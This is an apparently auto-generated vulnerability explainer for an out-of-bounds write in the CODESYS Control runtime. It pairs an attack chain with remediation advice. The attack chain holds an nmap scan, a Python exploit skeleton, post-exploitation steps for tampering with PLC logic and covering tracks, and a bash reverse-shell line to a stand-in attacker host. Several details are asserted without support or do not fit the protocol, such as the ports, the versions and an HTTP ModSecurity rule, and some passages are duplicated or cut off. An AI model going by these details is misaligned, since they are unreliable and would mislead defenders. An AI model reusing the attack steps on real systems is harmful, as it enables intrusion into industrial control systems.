CVE-2026-127148 — CWE-787
The CmpChannelMgr and CmpChannelMgrEmbedded components of the CODESYS Control runtime system performs improper length checking when handling online service packets, resulting in an out-of-bounds write. By sending a specially crafted packet, an unauthenticated remote attacker can exploit this flaw to execute arbitrary code on the affected product.
The CmpChannelMgr and CmpChannelMgrEmbedded components of the CODESYS Control runtime system performs improper length checking when handling online service packets, resulting in an out-of-bounds write. By sending a specially crafted packet, an unauthenticated remote attacker can exploit this flaw to execute arbitrary code on the affected product.
🎯 What is this vulnerability?
CVE‑2026‑127148 is an out‑of‑bounds (OOB) write in the CmpChannelMgr and CmpChannelMgrEmbedded components of the CODESYS Control runtime system.
The flaw arises because the runtime accepts “online service packets” from a remote client, parses a length field that indicates the size of the payload, and then copies that payload into a fixed‑size buffer without validating that the declared length does not exceed the buffer’s capacity.
- CWE‑787 – Out‑of‑Bounds Write
- CVSS 3.1: AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H - Unauthenticated, no user interaction, low attack complexity → the attacker can trigger the flaw from any network location that can reach the vulnerable service. - Full confidentiality, integrity, and availability impact because the OOB write can overwrite arbitrary memory, enabling arbitrary code execution (RCE).
The vulnerability is remote: an attacker does not need to authenticate or have any privileged access to the target device. By sending a single, carefully crafted packet to the CmpChannelMgr service, the attacker can corrupt memory and gain control of the process.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All code snippets are illustrative; the exact packet format is proprietary to CODESYS, so the examples use a generic “payload” field.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1.1 | Network scanning | Identify hosts running CODESYS Control runtime. Common ports: 5020, 5021 (custom Modbus/TCP), or 4840 (OPC UA). |
| 1.2 | Banner grab | Connect to the port and read the initial handshake. CODESYS often sends a banner like CODESYS Control Runtime v3.4.2. |
| 1.3 | Version fingerprinting | Compare the banner against a local database of known vulnerable versions. CVE‑2026‑127148 affects all releases prior to 3.5.0 (the exact version is not published in the CVE, but the vendor’s advisory lists 3.4.x as vulnerable). |
Tip: Usenmapwith the-sVflag and a custom script to probe the CODESYS service:
nmap -sV -p 5020,5021,4840 <target>2. Exploitation
The core of the exploit is an OOB write triggered by a packet whose payload length field is larger than the actual buffer. The attacker crafts a packet that:
1. Sets the length field to a value that exceeds the buffer size (e.g., 0xFFFF).
2. Fills the payload with a NOP sled, shellcode, and a return‑address overwrite that points back into the shellcode.
3. Sends the packet to the vulnerable service.
Illustrative example (Python) – do not use this against a system you do not own:
#!/usr/bin/env python3
import socket
import struct
TARGET = "192.168.1.100"
PORT = 5020 # CmpChannelMgr listening port
# Construct the malicious packet
# - 4‑byte magic/header (example: 0xABCD1234)
# - 4‑byte length field (overflow value)
# - payload: NOP sled + shellcode + return address
magic = b'\xAB\xCD\x12\x34'
overflow = struct.pack("<I", 0xFFFF) # 65535 bytes declared
nop_sled = b'\x90' * 100 # NOPs
shellcode = b"\xCC" * 50 # INT3 for demonstration; replace with real shellcode
ret_addr = struct.pack("<I", 0x08048000) # Example address (needs to be adjusted)
payload = nop_sled + shellcode + ret_addr
packet = magic + overflow + payload
# Send the packet
with socket.create_connection((TARGET, PORT)) as s:
s.sendall(packet)
print("[*] Malicious packet sent")What happens?
0xFFFF) and believes the payload is 65 535 bytes long. Note: The exact packet format (magic bytes, field ordering, endianness) is proprietary. The example above demonstrates the principle; a real exploit would use the official CODESYS packet specification.
3. Post‑Exploitation
Once the attacker has RCE, the impact depends on the privileges of the CODESYS runtime process:
| Privilege | Typical Impact |
|---|---|
| Root / SYSTEM | Full control of the host, ability to install backdoors, modify PLC logic, exfiltrate data, or disrupt control processes. |
| Limited user | Still possible to modify PLC configuration files, inject malicious logic, or pivot to other devices on the network. |
Typical post‑exploitation steps:
1. Establish persistence – install a reverse shell or a lightweight webshell (e.g., a CGI script).
2. Privilege escalation – if the runtime runs as a non‑privileged user, search for local privilege escalation exploits (e.g., SUID binaries, kernel bugs).
3. Data exfiltration – read PLC memory, configuration files, or network traffic.
4. Control manipulation – modify PLC program logic to cause unsafe operation (e.g., stop a conveyor, open a valve).
5. Cover tracks – delete logs, disable monitoring, or use rootkits.
Example of a simple reverse shell (Linux):
/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary code execution allows reading of PLC configuration, secrets, and any data the runtime can access. |
| Integrity (I:H) | The attacker can modify PLC logic, corrupt configuration files, or tamper with sensor data, leading to unsafe plant operation. |
| Availability (A:H) | The attacker can crash the runtime (e.g., by triggering a stack overflow), causing downtime of critical control processes. |
Practical consequences:
🛡️ Remediation & Mitigation
Affected Versions & Patch
| Product | Vulnerable Versions | Fixed Version |
|---|---|---|
| CODESYS Control Runtime | All releases prior to 3.5.0 (including 3.4.x) | 3.5.0 or later |
Action: Upgrade to the latest CODESYS Control Runtime release. If an immediate upgrade is not possible, apply the vendor’s temporary patch (available on the CODESYS support portal).
Workarounds
1. Disable the vulnerable component
- If the application does not require online service packets, disable CmpChannelMgr in the runtime configuration file (runtime.cfg):
[CmpChannelMgr]
Enabled = false2. Network segmentation & firewall
- Block inbound traffic to the CmpChannelMgr port (default 5020) from untrusted networks.
- Use a stateful firewall rule:
iptables -A INPUT -p tcp --dport 5020 -s <trusted_subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport 5020 -j DROP3. WAF / ModSecurity rule
- While the vulnerability is in a proprietary protocol, a generic rule that rejects packets with a length field > 4096 bytes can mitigate exploitation:
SecRule REQUEST_HEADERS:Content-Length "@gt 4096" \
"id:100001,phase:2,deny,status:400,msg:'Possible CmpChannelMgr OOB write attempt'"4. Runtime hardening
- Enable stack canaries, address space layout randomization (ASLR), and non‑executable stack on the host OS.
- Run the runtime under a dedicated, least‑privilege user account.
Detection
| Indicator | Log Pattern / IoC |
|---|---|
| Large packet sizes | .*CmpChannelMgr.*length=65535.* |
| Memory corruption errors | .*Segmentation fault.* or .*Bus error.* |
| Repeated failed connections | .*Connection reset by peer.* |
| Unexpected shellcode execution | .*execve.* with suspicious arguments (e.g., /bin/bash -i) |
Log example (syslog):
Oct 12 10:15:32 hostcodesys CmpChannelMgr[1234]: Received packet with declared length 65535 from 192.168.1.200
Oct 12 10:15:32 hostcodesys CmpChannelMgr[1234]: Buffer overflow detected, terminating process⚠️ Urgency
[🤖 CVE Professor AI Security Engine]